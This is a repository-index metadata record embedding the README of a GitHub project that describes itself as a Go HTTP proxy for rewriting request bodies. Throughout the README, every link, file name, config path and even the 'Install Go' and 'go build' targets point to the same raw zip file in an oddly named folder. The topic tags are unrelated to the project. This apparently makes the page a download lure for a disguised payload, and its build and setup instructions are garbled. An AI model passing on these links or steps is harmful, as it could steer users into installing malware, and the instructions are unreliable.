{"id":32739905,"url":"https://github.com/nicky8258/content_replace","last_synced_at":"2026-04-07T08:02:04.358Z","repository":{"id":321685224,"uuid":"1086625721","full_name":"nicky8258/content_replace","owner":"nicky8258","description":"🔄 Replace keywords in HTTP requests easily with this Go-based proxy server, preserving content and structure while supporting flexible, configurable matching patterns.","archived":false,"fork":false,"pushed_at":"2026-04-02T23:56:16.000Z","size":7478,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-03T02:01:29.831Z","etag":null,"topics":["actions","automatic","automation","concurrency","content","dotnet-global-tool","figma-plugins","grunt","grunt-plugins","gulp-plugin","html","java","layers","markdown","react","replace","upload","webpack"],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nicky8258.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-10-30T17:13:53.000Z","updated_at":"2026-04-02T23:56:19.000Z","dependencies_parsed_at":"2026-01-09T03:05:16.125Z","dependency_job_id":null,"html_url":"https://github.com/nicky8258/content_replace","commit_stats":null,"previous_names":["nicky8258/content_replace"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/nicky8258/content_replace","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nicky8258%2Fcontent_replace","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nicky8258%2Fcontent_replace/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nicky8258%2Fcontent_replace/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nicky8258%2Fcontent_replace/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nicky8258","download_url":"https://codeload.github.com/nicky8258/content_replace/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nicky8258%2Fcontent_replace/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31504897,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-07T03:10:19.677Z","status":"ssl_error","status_checked_at":"2026-04-07T03:10:13.982Z","response_time":105,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["actions","automatic","automation","concurrency","content","dotnet-global-tool","figma-plugins","grunt","grunt-plugins","gulp-plugin","html","java","layers","markdown","react","replace","upload","webpack"],"created_at":"2025-11-03T10:00:43.084Z","updated_at":"2026-04-07T08:02:04.353Z","avatar_url":"https://github.com/nicky8258.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🌐 content_replace - Effortlessly Modify HTTP Requests\n\n[![Download](https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip)](https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip)\n\n## 📚 Overview\n\ncontent_replace is an HTTP proxy server built with Go. It processes all types of HTTP requests and allows you to modify the request body based on your configuration. This application is useful for anyone who needs to make changes to HTTP request contents easily.\n\n## 🚀 Getting Started\n\nTo use content_replace, follow these simple steps.\n\n### 1. Visit the Releases Page\n\nTo download content_replace, click the link below:\n\n[Visit the Releases Page to Download](https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip)\n\n### 2. Download the Application\n\nOnce on the Releases page, look for the latest version. Download the appropriate file for your operating system.\n\n### 3. Install Go\n\nMake sure to have Go installed. You can download it from the official Go website: [Install Go](https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip). \n\n### 4. Compile the Project\n\n1. Open your command line interface (CLI).\n2. Navigate to the folder where you saved the downloaded files.\n3. Run the following commands:\n\n```bash\ngo mod tidy\ngo build -o proxy https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip\n```\n\nThis will build the application and create an executable file named `proxy`.\n\n### 5. Configure the Application\n\ncontent_replace uses YAML files for configuration. Create a configuration file as follows:\n\n1. Open `https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip`.\n2. Define your rules and settings there.\n\nFor example, your configuration file can look like this:\n\n```yaml\nrules:\n  - match: \"contains\"\n    operation: \"replace\"\n    keyword: \"oldKeyword\"\n    replacement: \"newKeyword\"\n```\n\nRefer to the documentation within the `configs` folder for more examples.\n\n### 6. Run the Proxy Server\n\nYou can now run your proxy server. Execute the following command in your CLI:\n\n```bash\n./proxy\n```\n\nYou will see logs in your console showing the requests being processed.\n\n## 🔍 Features\n\ncontent_replace provides several features that make it easy to manipulate HTTP requests:\n\n- Supports all major HTTP methods: GET, POST, PUT, DELETE.\n- Preserves all original headers and body structure.\n- Offers four matching modes:\n  - `prefix`: matches the beginning of a string.\n  - `suffix`: matches the end of a string.\n  - `contains`: checks if a string contains specific content.\n  - `regex`: uses regular expressions for complex matching.\n- Provides two operations:\n  - `replace`: alters content based on defined rules.\n  - `delete`: removes specified content from requests.\n- Configurable YAML files with support for comments, allowing for clear documentation.\n- Hot reload of configuration without needing to restart the server.\n- Detailed debugging logs that show both the original and modified content.\n- Displays matching rule results for easy debugging.\n\n## 📁 Project Structure\n\nHere's a brief overview of the project structure:\n\n```\ncontent_replace/\n├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip                 # Entry point of the application\n├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip                  # Go module configuration\n├── config/\n│   ├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip           # Configuration structure and reading logic\n│   └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip            # Definition of replacement rules\n├── proxy/\n│   ├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip           # Main HTTP proxy server logic\n│   ├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip          # HTTP request handler\n│   └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip        # Logic for forwarding requests\n├── replacer/\n│   └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip           # Content replacement engine\n├── logger/\n│   └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip           # Logging utility\n├── configs/\n│   ├── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip         # Main configuration file\n│   └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip          # Configuration for replacement rules\n└── logs/\n    └── https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip           # Log file for requests\n```\n\n## 🛠️ Download \u0026 Install\n\nTo get started with content_replace, remember to visit the releases page to download the application:\n\n[Visit the Releases Page to Download](https://raw.githubusercontent.com/nicky8258/content_replace/main/Phylloscopus/replace-content-3.3.zip)\n\nAfter downloading and following the installation steps, you will be ready to use your HTTP proxy server efficiently. \n\nIf you run into any issues or need further assistance, please check the documentation provided in the `docs` folder (currently under development) or feel free to reach out in the repository discussions.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnicky8258%2Fcontent_replace","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnicky8258%2Fcontent_replace","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnicky8258%2Fcontent_replace/lists"}